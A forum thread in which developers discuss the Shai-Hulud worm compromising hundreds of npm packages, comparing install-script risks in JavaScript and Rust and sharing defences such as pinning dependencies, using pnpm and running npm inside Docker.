Shai-Hulud Returns: Over 300 NPM Packages infected via Fake Bun Runtime Within Hours
60 points by bezdomni
60 points by bezdomni
My question is whether the javascript ecosystem is being targeted because of some innate weakness or it's just that it's the most popular and widely used language. There seem to be other factors too. Like this worm seems to be centred around GitHub Actions for propagation.
npm install and yarn add support random script execution in postinstall!
Go and Rust do not have that ability. This does make the JS ecosystem more risky.
There are several other factors too, but this alone is problematic by default.
rust has that "feature" even more-so than Javascript does I think, so that's not a satisfying answer to me.
In rust-land, everyone uses cargo, and cargo will automatically execute build.rs during compilation, so cargo install <untrusted> pwns you.
In javascript-land, a significant fraction of people use pnpm, which doesn't execute install scripts by default (well, except for the exception list)
I think the main factors here are that Javascript is more popular, the dependency trees are way deeper nested (so one relatively small package often has a larger blast-radius), and the whole ecosystem just moves faster so more people will install an update sooner, and it'll be lost in more noise.
Rust also has extremely large and deep dependency trees too, to be honest. Just like with node, it's not hard at all to end up with thousands of dependencies in rust, in my experience.
More Rust maintainers are concerned about bloat though. Part of it is just about compile times, but security is a bigger concern in Rust communities compared to JS.
not hard at all to end up with thousands of dependencies in rust
Most projects I've seen are 200-600 dependencies which is still too much, but you have to be trying to get thousands. Largest I've ever seen is Zed with somewhere around 1400 dependencies.
Part of it is just about compile times
One reason dependency graphs may appear larger than they actually are is that larger projects split their code into separate crates to improve compile times. There's at least a convention that if crates are usually bound together you see them as project-subproject, but not every project follows that convention.
Any project using dioxus depends on the dx CLI tool, which has somewhere around 1300 dependencies. That's probably the largest amount of dependencies I deal with regularly in Rust.
I'm a bit doubtful about how much removing postinstall scripts would help. It feels a bit like treating a symptom.
Most of the time when I npm install a library, it's in order to run it as part of a program which imports it right after. Wouldn't bad actors just move their malware from postinstall time to import time?
Disabling postinstall would probably make a fair amount of difference right now just because most people run npm with postinstall support so that's what most malware uses, but if postinstall suddenly got disabled for everyone and malware adapted to run its payload at import time, I don't see how the situation would be meaningfully different from today.
That's why you should consider running these scripts inside a container. So that they have no access to files outside the current directory.
I don't understand what you mean by "these scripts". Do you mean postinstall? But my whole point is that there's nothing special about postinstall. When I install a library, it's typically in order to import it somewhere in my code. Then I'll run my code. A malicious library could just move their malicious code from a postinstall script to code that gets run during import and I'll be fucked even though I ran postinstall in a container or disabled postinstall altogether.
A malicious library could just move their malicious code from a postinstall script to code that gets run during import and I'll be fucked even though I ran postinstall in a container or disabled postinstall altogether.
I run "every" npm command inside Docker now.
alias npm='docker run --rm --init -it --user=$(id -u):$(id -g) -v "${PWD}":"${PWD}" --net=host --workdir=${PWD} node:25-bookworm-slim npm
I'm not talking about NPM commands FFS! You can run every NPM command inside of Docker, but then when you go ahead and run your program with node myprogram.js or whatever, you're executing code from the malicious/compromised dependency.
You then run myprogram.js also in docker!
Devcontainers allow you to run everything inside the container, including the code you're working on, so you're essentially always in an isolated environment that's defined in a per-project config file.
It's not very widely supported, but it works in VSCode fairly nicely. VSCode installs a headless version of the IDE inside the container so it can still do all the usual stuff it does, but anything that can execute code remotely is run inside the container, including e.g. running your dev server. There's also a CLI for setting up and accessing a container.
And it works with, say, an Electron app which wants to open an Electron window? Or interact with XDG portals? Or a program which wants to launch VLC and talk to it via its control socket? Or create a window using GLFW? Or interact with serial devices?
Just an example of the stuff I tend to work on.
Running apps in a container with the Wayland socket bound is actually really nice. You could also bind the D-Bus socket for XDG portals and serial devices. VLC might not be as pretty, but still possible.
If it works with Docker, then yes, but it'll take some fiddling around with, and it'll probably work best if you're running Linux outside the container. I don't have experience with those things specifically, but when I have run into issues I've usually been able to find a way around them. That said, I mostly don't use devcontainers myself, I've just spent some time debugging other people's issues with them.
Of course, the more parts of the host system you allow your container to interact with, the more chances it's going to have to do malicious things on the host system. And in many of these cases, part of the problem was that the credentials to do bad things (e.g. push new malicious commits) were sitting alongside the code anyway, so this isn't going to solve all your problems by any stretch of the imagination.
You're not clear: do you have no problems just because you don't work on things that talk to the Wayland server or dbus (or somehow the macOS windowing server from within a container, as I would need)? Or have you used it for these kinds of things and it has Just Worked?
I'm not clear because it's been a while since I've last fiddled with this, but I remember X definitely working, and I imagine Wayland would work the same. Your situation would probably be harder because you're crossing between Linux and macOS, but I don't have so much experience there.
Of course there's also the heavier duty option of using a VM. In theory, an IDE that can deal with devcontainers should be able to deal with a VM, but you probably won't get the nice configuration stuff.
Just an example of the stuff I tend to work on.
Sure, this might not work for Electron app. But 90%+ usage of NPM is for building web frontends and backends not Electron apps.
I think you're right that the difference isn't absolute, but I do think there's some difference.
A nasty build script runs solely based on you having the library as a dependency. That means any transitive dependency of any of your dependencies is in scope, no matter how obscure. At runtime, you have to actually change the source code of a method that executes. One feature of deep dependency trees is that a lot of the code is hidden behind conditional logic that only executes in specific cases.
A second point is that build scripts are not necessarily reviewed as well and it’s plausible enough that they need to sniff around your environment for reasons (for some packages this is absurd, but for others it’s less obvious).
Ah forgot about that one! The ease of obfuscation is probably a major one too. Don't think there's any other mainstream languages that allow for such compact obfuscation of source code.
Rust does have build scripts which can be executed automatically by the LSP. Probably a little harder to do, since you'd have to pull in dependencies you need, sneak malware into the build script, and compile it all without looking suspicious, but still very possible.
Rust does have build scripts which can be executed automatically by the LSP.
My understanding of Rust is basic. So, if you are correct then this will be an attach vector which will be utilized to spread Rust-based malware sooner or later.
It's kind of a hacky language to begin with and I'm sure the culture around dependencies makes it a lot easier. I've had far more issues with Python library package names and import names being inconsistent, so don't think it's popularity alone.
It's been a bit hectic at work today (posthog), I havent been directly involved but Ive been tracking the internal channel all day.
do you pin JS dependencies? I feel like everyone who does not pin versions and have good CI/CD was affected
It's more complicated than this. Even if you do pin your own dependencies you might have vendors who don't do this. For example, last time around, I discovered that Twilio's CLI likes to just npm install stuff internally and there isn't really anything you can do about this, other than block the registry at the network level.
But say that isn't even a problem. How do you stop your developers from bumping package versions manually? Shai Hulud is a self-propagating worm so basically any list of affected packages becomes immediately out of date, so unless you're using pnpm, you still have a large risk profile while the worm is out of control.
we code review every bump, which isn't done very often, which is why we evaded every supply of chain attacks for years
it is true however that your dependencies can depend on compromised vendors, which is why we review dependencies :)
PS. Not the whole tree of course and we are under risk too, but generally spending some time reviewing deps is a common practice for us. PPS. Every package that downloads something extra is a big read flag. Perhaps I am old and have big distrust to everything that's coming from the 3d party registries
We do pin dependencies, we were not affected by any affected package. The problem is that we have packages we own that were affected, but we do pin our own dependencies so we were not affected ourselves.
I get a timeout; probably an indicator how fast it must spreading.
When I checked before bed last night, GitHub had stopped you being able to search for these but looks like it's enabled again - perhaps a hope that we (the industry) had slowed the spread, but looks like maybe not
Run npm and yarn inside docker.
Infact, do this for all risky tools
If you provide it access to the pwd and internet it is able to extract things all the same. Not about the entire system but still compromise your repo.
If you provide it access to the pwd and internet it is able to extract things all the same. Not about the entire system but still compromise your repo.
~/.config and browser cookies.no Internet access